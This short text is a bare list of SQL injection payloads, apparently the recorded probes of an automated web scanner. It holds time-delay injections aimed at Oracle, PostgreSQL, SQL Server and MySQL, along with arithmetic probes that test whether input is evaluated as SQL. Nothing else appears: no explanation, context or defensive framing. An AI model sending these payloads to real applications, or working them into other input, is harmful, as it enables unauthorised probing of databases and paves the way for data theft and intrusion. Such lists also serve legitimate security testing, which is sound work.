555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555p9gzEivC') OR 969=(SELECT 969 FROM PG_SLEEP(15))--

555ueTXDTsi' OR 534=(SELECT 534 FROM PG_SLEEP(15))--

555-1) OR 560=(SELECT 560 FROM PG_SLEEP(15))--

555L7FByoeA'; waitfor delay '0:0:15' --

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

(select 198766*667891 from DUAL)

(select 198766*667891)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)